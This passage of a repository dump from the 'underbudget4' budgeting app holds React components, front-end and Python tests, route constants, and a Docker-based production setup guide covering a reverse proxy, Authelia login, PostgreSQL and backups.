'prop-types';\nimport React from 'react';\n\nconst CurrencyInputField = ({\n autoCompleteProps,\n disabled,\n helperText,\n field: { onBlur, name, value },\n form: { errors, isSubmitting, setFieldValue, touched },\n ...props\n}) => {\n const errorText = getIn(errors, name);\n const showError = getIn(touched, name) && !!errorText;\n\n const currencyType = currency.number(value);\n\n const handleChange = (_, v) => {\n if (v) {\n const newCurrency = currency.code(v);\n if (newCurrency) {\n setFieldValue(name, Number(newCurrency.number));\n }\n }\n };\n\n return (\n <Autocomplete\n {...autoCompleteProps}\n autoSelect\n disabled={disabled || isSubmitting}\n options={currency.codes()}\n renderInput={(params) => (\n <TextField\n error={showError}\n helperText={showError ? errorText : helperText}\n name={name}\n onBlur={onBlur}\n {...params}\n {...props}\n />\n )}\n selectOnFocus\n onChange={handleChange}\n onInputChange={(e) => e && handleChange(e, e.target.value)}\n value={currencyType ? currencyType.code : null}\n />\n );\n};\n\nCurrencyInputField.propTypes = {\n autoCompleteProps: PropTypes.shape({}),\n disabled: PropTypes.bool,\n helperText: PropTypes.string,\n field: PropTypes.shape({\n name: PropTypes.string.isRequired,\n onBlur: PropTypes.func,\n value: PropTypes.number.isRequired,\n }).isRequired,\n form: PropTypes.shape({\n errors: PropTypes.shape({}),\n isSubmitting: PropTypes.bool,\n setFieldValue: PropTypes.func.isRequired,\n touched: PropTypes.shape({}),\n }).isRequired,\n};\n\nCurrencyInputField.defaultProps = {\n autoCompleteProps: null,\n disabled: false,\n helperText: null,\n};\n\nexport default CurrencyInputField;\n" }, { "alpha_fraction": 0.6569608449935913, "alphanum_fraction": 0.662420392036438, "avg_line_length": 20.54901885986328, "blob_id": "3c782539bc0fc9c928ac9d1de0b144cdb2b4aaa8", "content_id": "bf96c3ed0f74c81931aaad0db45905ade80cbd97", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1099, "license_type": "permissive", "max_line_length": 66, "num_lines": 51, "path": "/webapp/src/features/budgets/components/ActiveBudgetForm.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { Field } from 'formik';\nimport React from 'react';\nimport PropTypes from 'prop-types';\nimport * as yup from 'yup';\n\nimport NumberInputField from 'common/components/NumberInputField';\nimport BudgetSelectField from './BudgetSelectField';\n\nconst ActiveBudgetForm = ({ disableYear }) => (\n <>\n <Field\n autoFocus\n component={NumberInputField}\n disabled={disableYear}\n fullWidth\n id='active-budget-year'\n label='Year'\n margin='normal'\n name='year'\n required\n variant='outlined'\n />\n <Field\n component={BudgetSelectField}\n id='active-budget-id'\n label='Budget'\n name='budgetId'\n variant='outlined'\n />\n </>\n);\n\nActiveBudgetForm.propTypes = {\n disableYear: PropTypes.bool,\n};\n\nActiveBudgetForm.defaultProps = {\n disableYear: false,\n};\n\nActiveBudgetForm.initialValues = {\n year: new Date().getFullYear(),\n budgetId: 0,\n};\n\nActiveBudgetForm.validationSchema = yup.object().shape({\n year: yup.number().min(1900, 'Required'),\n budgetId: yup.number().min(1, 'Required'),\n});\n\nexport default ActiveBudgetForm;\n" }, { "alpha_fraction": 0.7090239524841309, "alphanum_fraction": 0.7090239524841309, "avg_line_length": 24.85714340209961, "blob_id": "e2d0ad28ff62b496322a8ad7887a87aecaccd0c4", "content_id": "b52ea1c446eeeba358505f53d336036de1910d32", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 543, "license_type": "permissive", "max_line_length": 55, "num_lines": 21, "path": "/webapp/src/features/budgets/components/CreateBudgetDialog.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\n\nimport FormDialog from 'common/components/FormDialog';\nimport useCreateBudget from '../hooks/useCreateBudget';\nimport BudgetForm from './BudgetForm';\n\nconst CreateBudgetDialog = () => {\n const { mutate } = useCreateBudget();\n return (\n <FormDialog\n actionText='Create'\n FormComponent={BudgetForm}\n initialValues={BudgetForm.initialValues}\n onSubmit={mutate}\n title='Create Budget'\n validationSchema={BudgetForm.validationSchema}\n />\n );\n};\n\nexport default CreateBudgetDialog;\n" }, { "alpha_fraction": 0.7301587462425232, "alphanum_fraction": 0.7301587462425232, "avg_line_length": 62, "blob_id": "cd567832d410a0b5169b7a70be84ca45d31eb170", "content_id": "9b855936f4600787014d2bb16cfa2b9331aae658", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 63, "license_type": "permissive", "max_line_length": 62, "num_lines": 1, "path": "/webapp/src/common/hooks/useSnackbar.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "export { useSnackbar as default } from '../contexts/snackbar';\n" }, { "alpha_fraction": 0.7599999904632568, "alphanum_fraction": 0.7599999904632568, "avg_line_length": 74, "blob_id": "5b71580b5abe9753168ef15513afaaf9d8a06d6a", "content_id": "b3b0e73ce78437b4946369a3d1c2abb9cecebb69", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 75, "license_type": "permissive", "max_line_length": 74, "num_lines": 1, "path": "/webapp/src/common/hooks/useSelection.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "export { useSelection as default } from '../contexts/selection/selection';\n" }, { "alpha_fraction": 0.6389675736427307, "alphanum_fraction": 0.6663519144058228, "avg_line_length": 33.53260803222656, "blob_id": "aa7f2d296086f2e47cc7e8ec8344263de1fc635f", "content_id": "0bba863d570a9ee6b4b7602ba39bc5817153dd20", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 3177, "license_type": "permissive", "max_line_length": 92, "num_lines": 92, "path": "/webapp/src/features/reconciliations/components/__tests__/ReconciliationAppBar.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { screen, waitFor } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\n\nimport renderWithRouter from 'test/renderWithRouter';\nimport setupMockApi from 'test/setupMockApi';\nimport ReconciliationAppBar from '../ReconciliationAppBar';\n\nconst render = (configureApi = () => 0) => {\n const mockApi = setupMockApi({ delayResponse: 0 });\n configureApi(mockApi);\n\n const queryClient = new QueryClient({\n defaultOptions: {\n queries: {\n retry: false,\n staleTime: Infinity,\n },\n },\n });\n\n return {\n ...renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <ReconciliationAppBar reconciliationId={13} prominent={false} />\n </QueryClientProvider>,\n ),\n mockApi,\n queryClient,\n };\n};\n\ntest('should display account name and reconciliation dates in title', async () => {\n render((api) => {\n api.onGet('/api/accounts/3').reply(200, { name: 'Account 3' });\n api\n .onGet('/api/reconciliations/13')\n .reply(200, { accountId: 3, beginningDate: '2021-11-02', endingDate: '2021-12-01' });\n });\n\n expect(screen.getByRole('heading', { name: '...' })).toBeInTheDocument();\n await waitFor(() =>\n expect(\n screen.getByRole('heading', { name: 'Account 3 2021-11-02 - 2021-12-01' }),\n ).toBeInTheDocument(),\n );\n});\n\ntest('should prompt to confirm deletion of reconciliation', async () => {\n const { history, mockApi, queryClient } = render((api) => {\n api.onGet('/api/accounts/3').reply(200, { name: 'Account 3' });\n api\n .onGet('/api/reconciliations/13')\n .reply(200, { accountId: 3, beginningDate: '2021-11-02', endingDate: '2021-12-01' });\n api.onDelete('/api/reconciliations/13').reply(204);\n });\n const invalidateQueries = jest.spyOn(queryClient, 'invalidateQueries');\n\n const deleteButton = screen.getByRole('button', { name: /delete reconciliation/i });\n\n expect(deleteButton).toBeDisabled();\n await waitFor(() => expect(deleteButton).toBeEnabled());\n\n // Reject cancellation\n userEvent.click(deleteButton);\n await waitFor(() =>\n expect(screen.getByRole('heading', { name: /confirm/i })).toBeInTheDocument(),\n );\n userEvent.click(screen.getByRole('button', { name: /cancel/i }));\n\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /confirm/i })).not.toBeInTheDocument(),\n );\n expect(mockApi.history.delete).toHaveLength(0);\n\n // Confirm cancellation\n userEvent.click(deleteButton);\n await waitFor(() =>\n expect(screen.getByRole('heading', { name: /confirm/i })).toBeInTheDocument(),\n );\n userEvent.click(screen.getByRole('button', { name: /ok/i }));\n\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /confirm/i })).not.toBeInTheDocument(),\n );\n await waitFor(() => expect(mockApi.history.delete).toHaveLength(1));\n expect(mockApi.history.delete[0].url).toBe('/api/reconciliations/13');\n expect(invalidateQueries).toHaveBeenCalledWith(['reconciliations', { accountId: 3 }]);\n\n await waitFor(() => expect(history.location.pathname).toBe('/account/3/reconciliations'));\n});\n" }, { "alpha_fraction": 0.6845637559890747, "alphanum_fraction": 0.6895973086357117, "avg_line_length": 21.923076629638672, "blob_id": "aaae981aff516d27d227083b80469c62b66f9368", "content_id": "4034410c890af0cfecc77f2c0219e08d47d2ed5d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 596, "license_type": "permissive", "max_line_length": 55, "num_lines": 26, "path": "/webapp/src/features/ledgers/components/CreateLedgerDialog.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\n\nimport FormDialog from 'common/components/FormDialog';\nimport useCreateLedger from '../hooks/useCreateLedger';\nimport LedgerForm from './LedgerForm';\n\nconst initialValues = {\n name: '',\n currency: 840, // USD\n};\n\nconst CreateLedgerDialog = () => {\n const { mutate } = useCreateLedger();\n return (\n <FormDialog\n actionText='Create'\n FormComponent={LedgerForm}\n initialValues={initialValues}\n onSubmit={mutate}\n title='Create Ledger'\n validationSchema={LedgerForm.validationSchema}\n />\n );\n};\n\nexport default CreateLedgerDialog;\n" }, { "alpha_fraction": 0.6505376100540161, "alphanum_fraction": 0.6537634134292603, "avg_line_length": 24.135135650634766, "blob_id": "7f2154e70d8f852ed82ab2173c30ad23a1f599ee", "content_id": "62fc3024ef5aeb23a31aa0fdfb7f2e4e190cdac9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 930, "license_type": "permissive", "max_line_length": 68, "num_lines": 37, "path": "/webapp/src/common/components/SubmitButton/SubmitButton.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import Button from '@material-ui/core/Button';\nimport CircularProgress from '@material-ui/core/CircularProgress';\nimport { makeStyles } from '@material-ui/core/styles';\nimport { useFormikContext } from 'formik';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nconst useStyles = makeStyles((theme) => ({\n button: {\n margin: theme.spacing(3, 0, 2),\n },\n}));\n\nconst SubmitButton = ({ text, ...props }) => {\n const classes = useStyles();\n const { isSubmitting, isValid } = useFormikContext();\n return (\n <Button\n aria-label={text}\n className={classes.button}\n color='primary'\n disabled={isSubmitting || !isValid}\n fullWidth\n type='submit'\n variant='contained'\n {...props}\n >\n {isSubmitting ? <CircularProgress color='secondary' /> : text}\n </Button>\n );\n};\n\nSubmitButton.propTypes = {\n text: PropTypes.string.isRequired,\n};\n\nexport default SubmitButton;\n" }, { "alpha_fraction": 0.6925926208496094, "alphanum_fraction": 0.6933333277702332, "avg_line_length": 28.34782600402832, "blob_id": "07160328c0d817771fe7f7897ab86616a35706b7", "content_id": "2de167da8d4f7824344b75b3a58a382c5436d18d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1350, "license_type": "permissive", "max_line_length": 73, "num_lines": 46, "path": "/webapp/src/features/accounts/components/AccountListItem.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import ListItem from '@material-ui/core/ListItem';\nimport ListItemText from '@material-ui/core/ListItemText';\nimport { makeStyles } from '@material-ui/core/styles';\nimport React from 'react';\nimport { useNavigate } from 'react-router';\n\nimport useFormatMoney from 'common/hooks/useFormatMoney';\nimport { accountRoute } from 'common/utils/routes';\nimport useFetchAccountBalance from '../hooks/useFetchAccountBalance';\nimport AccountPropTypes from '../utils/account-prop-types';\n\nconst useStyles = makeStyles((theme) => ({\n item: {\n paddingLeft: theme.spacing(4),\n },\n}));\n\nconst AccountListItem = ({ account }) => {\n const classes = useStyles();\n const navigate = useNavigate();\n const handleClick = () => navigate(accountRoute(account.id));\n const formatMoney = useFormatMoney();\n const { data, isLoading } = useFetchAccountBalance({ id: account.id });\n\n const balance = React.useMemo(() => {\n if (isLoading) {\n return '...';\n }\n if (data) {\n return formatMoney(data.balance);\n }\n return '';\n }, [data, isLoading, formatMoney]);\n\n return (\n <ListItem button className={classes.item} onClick={handleClick}>\n <ListItemText inset primary={account.name} secondary={balance} />\n </ListItem>\n );\n};\n\nAccountListItem.propTypes = {\n account: AccountPropTypes.isRequired,\n};\n\nexport default AccountListItem;\n" }, { "alpha_fraction": 0.7095147967338562, "alphanum_fraction": 0.7095147967338562, "avg_line_length": 36.78571319580078, "blob_id": "5c08bc85f32f2561c7816b44ace62d0308e285ff", "content_id": "f90b97196fd3c6041471ffa864b69b2a140eee5f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1587, "license_type": "permissive", "max_line_length": 85, "num_lines": 42, "path": "/webapp/src/features/accounts/components/AccountCategoryListItem.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import Collapse from '@material-ui/core/Collapse';\nimport List from '@material-ui/core/List';\nimport ListItem from '@material-ui/core/ListItem';\nimport ListItemIcon from '@material-ui/core/ListItemIcon';\nimport ListItemSecondaryAction from '@material-ui/core/ListItemSecondaryAction';\nimport ListItemText from '@material-ui/core/ListItemText';\nimport ExpandLessIcon from '@material-ui/icons/ExpandLess';\nimport ExpandMoreIcon from '@material-ui/icons/ExpandMore';\nimport React from 'react';\n\nimport AccountCategoryPropTypes from '../utils/account-category-prop-types';\nimport AccountCategoryActionsButton from './AccountCategoryActionsButton';\nimport AccountListItem from './AccountListItem';\n\nconst AccountCategoryListItem = ({ category }) => {\n const [open, setOpen] = React.useState(true);\n const handleToggle = () => setOpen((old) => !old);\n return (\n <>\n <ListItem button onClick={handleToggle}>\n <ListItemIcon>{open ? <ExpandLessIcon /> : <ExpandMoreIcon />}</ListItemIcon>\n <ListItemText primary={category.name} />\n <ListItemSecondaryAction>\n <AccountCategoryActionsButton category={category} />\n </ListItemSecondaryAction>\n </ListItem>\n <Collapse in={open}>\n <List component='div' dense disablePadding>\n {category.accounts.map((account) => (\n <AccountListItem account={account} key={account.id} />\n ))}\n </List>\n </Collapse>\n </>\n );\n};\n\nAccountCategoryListItem.propTypes = {\n category: AccountCategoryPropTypes.isRequired,\n};\n\nexport default AccountCategoryListItem;\n" }, { "alpha_fraction": 0.7796319127082825, "alphanum_fraction": 0.7856441736221313, "avg_line_length": 38.37198257446289, "blob_id": "3466c33179e3768f831caa1f8bde2d13ffbc4f1b", "content_id": "525d51ff825d2d10935b4aa3fce4854557210822", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 8150, "license_type": "permissive", "max_line_length": 124, "num_lines": 207, "path": "/docs/production-setup.md", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "# Setting up UnderBudget in a production environment\n\nThe two primary components of UnderBudget--the Flask backend API and the React\nfrontend webapp--have no authentication or security measures built into them. By\ndesign, security is provided by a gateway or routing service. This allows for\nintegration with other single sign-on (SSO) schemes.\n\nThis document will describe setting up UnderBudget as a standalone application.\nThat is, there are no other self-hosted applications or SSO schemes with which\nto integrate. We will be using docker-compose with the `docker-compose.yml` file\nat the root of this repository.\n\n## Domain and SSL\n\nWe are going to set up UnderBudget with the SWAG (Secure Web Application Gateway)\nimage from [linuxserver.io](https://docs.linuxserver.io/images/docker-swag).\nThis will give us a reverse proxy to our services and automatically generate\nSSL certificates from Let's Encrypt.\n\nIn order to obtain an SSL certificate, you must have a domain name that you will\nuse to access UnderBudget (e.g., `https://underbudget.mycooldomain.com`).\n\nThe `docker-compose.yml` file defines a service running the `linuxserver/swag`\nimage. You must provide a `.proxy.env` file to define environment variables\nto [configure the SWAG image](https://docs.linuxserver.io/images/docker-swag#environment-variables-e).\n\nFor example, the following `.proxy.env` configures SWAG to use cloudflare\nDNS validation to generate the SSL certificate.\n\n```\nPUID=1000\nPGID=1000\nTZ=America/New_York\nURL=mycooldomain.com\nSUBDOMAINS=wildcard\nVALIDATION=dns\nDNSPLUGIN=cloudflare\n```\n\nThe SWAG container will mount the `./proxy` directory into `/config`.\nThis directory is initially very sparse, but the SWAG container will\nfully populate it the first time you run it. In our example, we must\ncreate a `./proxy/dns-conf/cloudflare.ini` file with the appropriate\ncredentials to allow the container to authenticate with cloudflare.\n\n```\n# Instructions: https://github.com/certbot/certbot/blob/master/certbot-dns-cloudflare/certbot_dns_cloudflare/__init__.py#L20\n# Replace with your values\n\n# With global api key:\ndns_cloudflare_email = [email protected]\ndns_cloudflare_api_key = 0123456789abcdef0123456789abcdef01234567\n\n# With token (comment out both lines above and uncomment below):\n#dns_cloudflare_api_token = 0123456789abcdef0123456789abcdef01234567\n```\n\nWhen you bring up the container (i.e., `docker-compose up`), you should notice \nthe following output:\n\n```\nunderbudget-proxy | Requesting a certificate for *.mycooldomain.com and mycooldomain.com\nunderbudget-proxy | Performing the following challenges:\nunderbudget-proxy | dns-01 challenge for mycooldomain.com\nunderbudget-proxy | dns-01 challenge for mycooldomain.com\nunderbudget-proxy | Unsafe permissions on credentials configuration file: /config/dns-conf/cloudflare.ini\nunderbudget-proxy | Waiting 10 seconds for DNS changes to propagate\nunderbudget-proxy | Waiting for verification...\nunderbudget-proxy | Cleaning up challenges\nunderbudget-proxy | IMPORTANT NOTES:\nunderbudget-proxy | - Congratulations! Your certificate and chain have been saved at:\nunderbudget-proxy | /etc/letsencrypt/live/mycooldomain.com/fullchain.pem\nunderbudget-proxy | Your key file has been saved at:\nunderbudget-proxy | /etc/letsencrypt/live/mycooldomain.com/privkey.pem\n```\n\nSince we will only be using the `underbudget` subdomain, it will be necessary\nfor you to register a CNAME DNS record for the `underbudget` subdomain pointing\nto your host.\n\n## Security\n\nIn our standalone production setup, we will be using\n[Authelia](https://www.authelia.com/) for authentication. Since the SWAG\ncontainer runs an instance of nginx, we use\n[these instructions](https://www.authelia.com/docs/deployment/supported-proxies/nginx.html)\nwhen integrating Authelia into our reverse proxy.\n\nSWAG provides most of the necessary configuration for Authelia out of the box.\nThis repository even includes the\n`proxy/nginx/proxy-confs/underbudget.subdomain.conf` configuration file for\nthe `underbudget` subdomain with the necessary configuration to integrate\nwith Authelia.\n\nWith the proxy fully configured, we move on to setting up Authelia itself.\n\nThe `docker-compose.yml` file defines a service running the `authelia/authelia`\nimage. You may provide a `.auth.env` file to define environment variables\nfor the container. Authelia does not rely on environment variables, so the\nonly variables we've set are to control the ownership of files created by\nthe image.\n\n```\nPUID=1000\nPGID=1000\n```\n\nThe Authelia container will mount the `./authelia` directory into `/config`.\nThis is where all Authelia configuration and data will reside.\n\nYou must provide a `configuration.yml` file in the `./authelia` directory\naccording to the [Authelia documentation](https://www.authelia.com/docs/configuration/).\n\nA sample configuration file has been provided that uses an internal user\ndatabase. To use this sample file, rename it to `configuration.yml` and change\nall instances of `mycooldomain.com` to the appropriate domain name.\n\nSince we are using a flat file user database, we will follow\n[these instructions](https://www.authelia.com/docs/configuration/authentication/file.html)\nfor defining users in `./authelia/users_database.yml` (because that is the location\nspecified in the sample configuration).\n\nTo create a hashed password, run the following:\n\n```\n?> docker run --rm authelia/authelia:latest authelia hash-password \"yourpassword\"\nPassword hash: $argon2id$v=19$m=1048576,t=1,p=8$aVZ0T2JCbXBmYmMwYWFEdg$QBaGSDnp+BQXgvZ50HwVzkJZazQnIV774b3pLPBTsFU\n```\n\nExample `users_database.yml`:\n\n```\nusers:\n james:\n displayname: \"James Dean\"\n password \"$argon2id$v=19$m=1048576,t=1,p=8$aVZ0T2JCbXBmYmMwYWFEdg$QBaGSDnp+BQXgvZ50HwVzkJZazQnIV774b3pLPBTsFU\"\n email: [email protected]\n```\n\n## Database\n\nUnderBudget uses a PostgreSQL database. The `docker-compose.yml` file defines\na database service running the `postgres` image. It uses a docker volume to\nstore the actual database content.\n\nBoth the database service and the UnderBudget backend API service use a\n`.db.env` file to define environment variables to specify connection parameters\nfor the database.\n\n```\nPOSTGRES_DB=postgres\nPOSTGRES_USER=postgres\nPOSTGRES_PASSWORD=postgres\n```\n\nBy default the UnderBudget backend API will connect to the database at\n`db:5432`. If integrating with other services and the database service\nhas a different hostname or port, you can tell the backend API where\nto find the database using the `POSTGRES_HOST` and `POSTGRES_PORT`\nenvironment variables in `db.env`.\n\n## Backups\n\nDatabase backups are provided by running the\n[`prodrigestivill/postgres-backup-local`]https://github.com/prodrigestivill/docker-postgres-backup-local)\nimage alongside our database. The `docker-compose.yml` file defines\na `db-backup` service running this image, mounting the `./backups` directory\ninto the container.\n\nThis service uses the same `.db.env` file to configure connection to the\ndatabase. It also uses a `.backup.env` file to configure the frequency of\nbackups and deletion of old backups.\n\nFor example, this would make a weekly backup and retain the last 6 weeks of\nbackups.\n\n```\nSCHEDULE=@weekly\nBACKUP_KEEP_WEEKS=6\nPOSTGRES_EXTRA_OPTS=-Z6 --schema=public --blobs\n```\n\n## Running\n\nOnce all configured, you can run `docker-compose up -d` to start all services\nof the UnderBudget application.\n\nYou will need to initialize the database by executing\n`docker-compose exec -e FLASK_APP=underbudget.app api flask db upgrade`.\nYou will also need to run this after any upgrade to Underbudget, in order to\nupdate the database with any changes.\n\nOnce fully initialized, you can access the application at\n`https://underbudget.mycooldomain.com`.\n\n## Restoring From a Backup\n\nAssuming you have a `.sql.gz` file from the `./backups` folder you wish to use\nto restore the database, you can fully restore the contents of the database.\n\nThis restore only works on a new database volume. Delete the volume if it already\nexists using `docker volume rm`.\n\nAfter bringing up all services (but not running the initial database migration),\nexecute the following command:\n`zcat ./backups/weekly/postgres-202115.sql.gz | docker-compose exec -T db psql --username=$USERNAME --dbname=$DBNAME -W`.\nThe `$USERNAME` and `$DBNAME` must match the values in `.db.env`.\n" }, { "alpha_fraction": 0.6909518241882324, "alphanum_fraction": 0.6909518241882324, "avg_line_length": 46.27777862548828, "blob_id": "c41cea131b95ef06ddac18d898c13e93e865116c", "content_id": "b163b2f21a0354e3eeb099238b51a0013826322d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 851, "license_type": "permissive", "max_line_length": 88, "num_lines": 18, "path": "/webapp/src/common/utils/routes.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "export const DASHBOARD = '/';\nexport const LEDGERS = '/ledgers';\nexport const ACCOUNT = '/account';\nexport const ACCOUNTS = '/accounts';\nexport const ENVELOPE = '/envelope';\nexport const ENVELOPES = '/envelopes';\nexport const BUDGET = '/budget';\nexport const BUDGETS = '/budgets';\nexport const REPORTS = '/reports';\nexport const LOGOUT = '/authelia/logout';\n\nexport const accountsRoute = (suffix = '') => `/accounts${suffix && '/'}${suffix}`;\nexport const accountRoute = (id) => `/account/${id}`;\nexport const accountReconciliationsRoute = (id) => `/account/${id}/reconciliations`;\nexport const createReconciliationRoute = (id) => `/account/${id}/create-reconciliation`;\nexport const reconciliationRoute = (id) => `/reconciliation/${id}`;\nexport const envelopeRoute = (id) => `${ENVELOPE}/${id}`;\nexport const budgetRoute = (id) => `${BUDGET}/${id}`;\n" }, { "alpha_fraction": 0.7059524059295654, "alphanum_fraction": 0.7059524059295654, "avg_line_length": 30.11111068725586, "blob_id": "89ffc1c1c7d7d7d06b69e67e647f0c8a13685179", "content_id": "e0817e98d3c82a6e9df952035cb4d17631b97f7e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 840, "license_type": "permissive", "max_line_length": 80, "num_lines": 27, "path": "/webapp/src/common/components/MoreActionsButton/MoreActionsButton.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import IconButton from '@material-ui/core/IconButton';\nimport MoreVertIcon from '@material-ui/icons/MoreVert';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nimport actionPropsShape from '../../utils/action-props';\nimport PureActionMenu from '../PureActionMenu';\n\nconst MoreActionsButton = ({ actions }) => {\n const [anchor, setAnchor] = React.useState(null);\n const handleOpen = (e) => setAnchor(e.currentTarget);\n const handleClose = () => setAnchor(null);\n return (\n <>\n <IconButton aria-label='Open actions menu' onClick={handleOpen}>\n <MoreVertIcon />\n </IconButton>\n <PureActionMenu actions={actions} anchor={anchor} onClose={handleClose} />\n </>\n );\n};\n\nMoreActionsButton.propTypes = {\n actions: PropTypes.arrayOf(actionPropsShape).isRequired,\n};\n\nexport default MoreActionsButton;\n" }, { "alpha_fraction": 0.674077033996582, "alphanum_fraction": 0.6760619282722473, "avg_line_length": 33.98611068725586, "blob_id": "8dd11f391393aaa85376a0f88f2e21131f15d5fa", "content_id": "8cfd9783b422ea53bee67e10ca8af890ce766a49", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2519, "license_type": "permissive", "max_line_length": 100, "num_lines": 72, "path": "/webapp/src/features/reconciliations/routes/__tests__/CreateReconciliationPage.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { configure, screen, waitFor } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\nimport { Routes, Route } from 'react-router-dom';\n\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport renderWithRouter from 'test/renderWithRouter';\nimport setupMockApi from 'test/setupMockApi';\nimport CreateReconciliationPage from '../CreateReconciliationPage';\n\nconst render = (route = '/account/9/create-reconciliation') => {\n configure({ defaultHidden: true });\n\n setSelectedLedger('2');\n\n const mockApi = setupMockApi({ delayResponse: 0 });\n\n const queryClient = new QueryClient({\n defaultOptions: {\n queries: {\n retry: false,\n },\n },\n });\n\n return {\n ...renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <Routes>\n <Route path='/account/:id/create-reconciliation' element={<CreateReconciliationPage />} />\n </Routes>\n </QueryClientProvider>,\n { route },\n ),\n mockApi,\n queryClient,\n };\n};\n\ntest('should prompt to navigate away from page', async () => {\n window.confirm = jest.fn(() => true);\n const { history } = render();\n\n userEvent.click(screen.getByRole('button', { name: /cancel this operation/i }));\n await waitFor(() => expect(window.confirm).toHaveBeenCalled());\n await waitFor(() => expect(history.location.pathname).toBe('/account/9'));\n});\n\ntest('should navigate to previous page', async () => {\n window.confirm = jest.fn(() => true);\n const { history } = render({\n pathname: '/account/9/create-reconciliation',\n state: { from: '/prev-page' },\n });\n\n userEvent.click(screen.getByRole('button', { name: /cancel this operation/i }));\n await waitFor(() => expect(window.confirm).toHaveBeenCalled());\n await waitFor(() => expect(history.location.pathname).toBe('/prev-page'));\n});\n\ntest('should open create-transaction dialog', async () => {\n render();\n\n userEvent.click(screen.getByRole('button', { name: /create transaction/i }));\n await waitFor(() => expect(screen.getByRole('dialog')).toBeInTheDocument());\n expect(screen.getByRole('heading', { name: /create transaction/i })).toBeInTheDocument();\n\n userEvent.click(screen.getByRole('button', { name: /^cancel$/i }));\n await waitFor(() => expect(screen.queryByRole('dialog')).not.toBeInTheDocument());\n expect(screen.queryByRole('heading', { name: /create transaction/i })).not.toBeInTheDocument();\n});\n" }, { "alpha_fraction": 0.7575757503509521, "alphanum_fraction": 0.7575757503509521, "avg_line_length": 18.799999237060547, "blob_id": "20191ee651cec225a880016eca3f7f1830ded68e", "content_id": "6debcdbad0ca20cce339712dd063f9cabf072a08", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 99, "license_type": "permissive", "max_line_length": 56, "num_lines": 5, "path": "/backend/underbudget/tests/__init__.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Integration Tests \"\"\"\nimport pytest\n\n\npytest.register_assert_rewrite(\"underbudget.tests.base\")\n" }, { "alpha_fraction": 0.3893187642097473, "alphanum_fraction": 0.4340009093284607, "avg_line_length": 33.68947219848633, "blob_id": "f2e6631aabb3832ad93a49a60e075fef3032ba41", "content_id": "6f634b886e6b86ec42742c25875fc9d50a515be9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 13182, "license_type": "permissive", "max_line_length": 80, "num_lines": 380, "path": "/backend/underbudget/tests/test_transaction_creation.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Integration tests for transaction creation APIs \"\"\"\nfrom parameterized import parameterized\n\nfrom underbudget.tests.base import BaseTestCase\n\n\nclass TransactionCreationTestCase(BaseTestCase):\n \"\"\" Integration tests for transaction creation APIs \"\"\"\n\n @parameterized.expand([(\"not-an-id\",), (999,)])\n def test_transaction_requires_valid_ledger(self, ledger_id=None):\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/transactions\",\n json={\n \"recordedDate\": \"2021-01-24\",\n \"payee\": \"Unit Testers\",\n },\n )\n assert resp.status_code == 404\n\n @parameterized.expand(\n [\n (400, \"Payee\", \"Unit Testers\"),\n (400, \"payee\", \"\"),\n (400, \"payee\", None),\n (201, \"payee\", \"Unit Testers\"),\n ]\n )\n def test_transaction_requires_valid_payee(self, code, key, value):\n ledger_id = self.create_ledger()\n cat_id = self.create_account_category(ledger_id)\n acct_id = self.create_account(cat_id)\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/transactions\",\n json={\n \"recordedDate\": \"2021-01-24\",\n key: value,\n 